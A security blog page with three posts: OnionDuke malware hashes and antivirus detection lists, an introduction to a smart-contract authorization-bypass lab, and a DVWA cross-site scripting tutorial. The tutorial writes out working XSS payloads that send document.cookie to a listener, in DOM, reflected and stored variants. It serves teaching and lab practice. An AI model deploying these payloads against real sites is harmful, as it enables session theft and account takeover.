Wednesday, 31 May 2023

OnionDuke Samples










File attributes

Size: 219136
MD5:  28F96A57FA5FF663926E9BAD51A1D0CB

Size: 126464
MD5:  C8EB6040FD02D77660D19057A38FF769


Size: 316928
MD5:  D1CE79089578DA2D41F1AD901F7B1014


Virustotal info

https://www.virustotal.com/en/file/366affd094cc63e2c19c5d57a6866b487889dab5d1b07c084fff94262d8a390b/analysis/
SHA256: 366affd094cc63e2c19c5d57a6866b487889dab5d1b07c084fff94262d8a390b
File name: 366affd094cc63e2c19c5d57a6866b487889dab5d1b07c084fff94262d8a390b
Detection ratio: 8 / 52
Analysis date: 2014-11-15 18:37:30 UTC ( 8 hours, 44 minutes ago ) 
Antivirus Result Update
Baidu-International Trojan.Win32.Agent.adYf 20141107
F-Secure Backdoor:W32/OnionDuke.B 20141115
Ikarus Trojan.Win32.Agent 20141115
Kaspersky Backdoor.Win32.MiniDuke.x 20141115
Norman OnionDuke.A 20141115
Sophos Troj/Ransom-ALA 20141115
Symantec Backdoor.Miniduke!gen4 20141115
Tencent Win32.Trojan.Agent.Tbsl 20141115

https://www.virustotal.com/en/file/366affd094cc63e2c19c5d57a6866b487889dab5d1b07c084fff94262d8a390b/analysis/


SHA256: 366affd094cc63e2c19c5d57a6866b487889dab5d1b07c084fff94262d8a390b
File name: 366affd094cc63e2c19c5d57a6866b487889dab5d1b07c084fff94262d8a390b
Detection ratio: 8 / 52
Antivirus Result Update
Baidu-International Trojan.Win32.Agent.adYf 20141107
F-Secure Backdoor:W32/OnionDuke.B 20141115
Ikarus Trojan.Win32.Agent 20141115
Kaspersky Backdoor.Win32.MiniDuke.x 20141115
Norman OnionDuke.A 20141115
Sophos Troj/Ransom-ALA 20141115
Symantec Backdoor.Miniduke!gen4 20141115
Tencent Win32.Trojan.Agent.Tbsl 20141115

https://www.virustotal.com/en/file/0102777ec0357655c4313419be3a15c4ca17c4f9cb4a440bfb16195239905ade/analysis/
SHA256: 0102777ec0357655c4313419be3a15c4ca17c4f9cb4a440bfb16195239905ade
File name: 0102777ec0357655c4313419be3a15c4ca17c4f9cb4a440bfb16195239905ade
Detection ratio: 19 / 55
Analysis date: 2014-11-15 18:37:25 UTC ( 8 hours, 47 minutes ago ) 
Antivirus Result Update
AVware Trojan.Win32.Generic!BT 20141115
Ad-Aware Backdoor.Generic.933739 20141115
Baidu-International Trojan.Win32.OnionDuke.BA 20141107
BitDefender Backdoor.Generic.933739 20141115
ESET-NOD32 a variant of Win32/OnionDuke.A 20141115
Emsisoft Backdoor.Generic.933739 (B) 20141115
F-Secure Backdoor:W32/OnionDuke.A 20141115
GData Backdoor.Generic.933739 20141115
Ikarus Trojan.Win32.Onionduke 20141115
Kaspersky Backdoor.Win32.MiniDuke.x 20141115
McAfee RDN/Generic BackDoor!zw 20141115
McAfee-GW-Edition BehavesLike.Win32.Trojan.fh 20141114
MicroWorld-eScan Backdoor.Generic.933739 20141115
Norman OnionDuke.B 20141115
Sophos Troj/Ransom-ANU 20141115
Symantec Backdoor.Miniduke!gen4 20141115
TrendMicro BKDR_ONIONDUKE.AD 20141115
TrendMicro-HouseCall BKDR_ONIONDUKE.AD 20141115
VIPRE Trojan.Win32.Generic!BT 20141115


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Read More :- "OnionDuke Samples"

Blockchain Exploitation Labs - Part 2 Hacking Blockchain Authorization


Bypassing Blockchain Authorization via Unsecured Functions


Note: Since the first part of this series I have also uploaded some further videos on remediation of reentrancy and dealing with compiler versions when working with this hacking blockchain series.  Head to the console cowboys YouTube account to check those out.  Haha as mentioned before I always forget to post blogs when I get excited making videos and just move on to my next project… So make sure to subscribe to the YouTube if you are waiting for any continuation of a video series.. It may show up there way before here. 

Note 2:  You WILL run into issues when dealing with Ethereum hacking, and you will have to google them as versions and functionality changes often... Be cognizant of versions used hopefully you will not run into to many hard to fix issues. 

In the second part of this lab series we are going to take a look at privacy issues on the blockchain which can result in a vulnerably a traditional system may  not face. Since typically blockchain projects are open source and also sometimes viewable within blockchain explorers but traditional application business logic is not usually available to us. With traditional applications we might not find these issues due to lack of knowledge of internal functionality or inability to read private values on a remote server side script.  After we review some issues we are going to exploit an authorization issues by writing web3.js code to directly bypass vertical authorization restrictions.

Blockchain projects are usually open source projects which allow you to browse their code and see what's going on under the hood.  This is fantastic for a lot of reasons but a developer can run into trouble with this if bad business logic decisions are deployed to the immutable blockchain.  In the first part of this series I mentioned that all uploaded code on the blockchain is immutable. Meaning that if you find a vulnerability it cannot be patched. So let's think about things that can go wrong..

A few things that can go wrong:
  • Randomization functions that use values we can predict if we know the algorithm
  • Hard-coded values such as passwords and private variables you can't change.
  • Publicly called functions which offer hidden functionality
  • Race conditions based on how requirements are calculated

Since this will be rather technical, require some setup and a lot of moving parts we will follow this blog via the video series below posting videos for relevant sections with a brief description of each.  I posted these a little bit ago but have not gotten a chance to post the blog associated with it.  Also note this series is turning into a full lab based blockchain exploitation course so keep a lookout for that.

In this first video you will see how data about your project is readily available on the blockchain in multiple formats for example:
  • ABI data that allows you to interact with methods.
  • Actual application code.
  • Byte code and assembly code.
  • Contract addresses and other data.

 Lab Video Part 1: Blockchain OSINT: 



Once you have the data you need to interact with a contract on the blockchain via some OSINT how do you actually interface with it? That's the question we are going to answer in this second video. We will take the ABI contract array and use it to interact with methods on the blockchain via Web3.js and then show how this correlates to its usage in an HTML file

Lab Video Part 2: Connecting to a Smart Contract: 




Time to Exploit an Application:

Exploit lab time, I created an vulnerable application you can use to follow along in the next video. Lab files can be downloaded from the same location as the last blog located below. Grab the AuthorizationLab.zip file:

Lab file downloads:



Ok so you can see what's running on the blockchain, you can connect to it, now what?   Now we need to find a vulnerability and show how to exploit it. Since we are talking about privacy in this blog and using it to bypass issues. Lets take a look at a simple authorization bypass we can exploit by viewing an authorization coding error and taking advantage of it to bypass restrictions set in the Smart Contract.  You will also learn how to setup a local blockchain for testing purposes and you can download a hackable application to follow along with the exercises in the video..

Lab Video Part 3:  Finding and hacking a Smart Contract Authorization Issue: 





Summary:

In this part of the series you learned a lot, you learned how to transfer your OSINT skills to the blockchain. Leverage the information found to connect to that Smart Contract. You also learned how to interact with methods and search for issues that you can exploit. Finally you used your browsers developer console as a means to attack the blockchain application for privilege escalation.
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Read More :- "Blockchain Exploitation Labs - Part 2 Hacking Blockchain Authorization"

Tuesday, 30 May 2023

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Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:
Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:
http://localhost:9000/vulnerabilities/xss_d/?default=English 
We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script> 
When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:
python3 -m http.server 
By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script> 
The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.
Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:
<script>alert("XSS")</script> 
After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie /> 
Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.
In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:
<script>alert(XSS)</script> 
When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:
<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea> 
to something like this:
<textarea name="mtxMessage" cols="50" rows="3"></textarea> 
And now use your payload to steal some cookies:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie /> 
Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

  1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
  2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
  3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
  4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
  5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/
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Read More :- "Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)"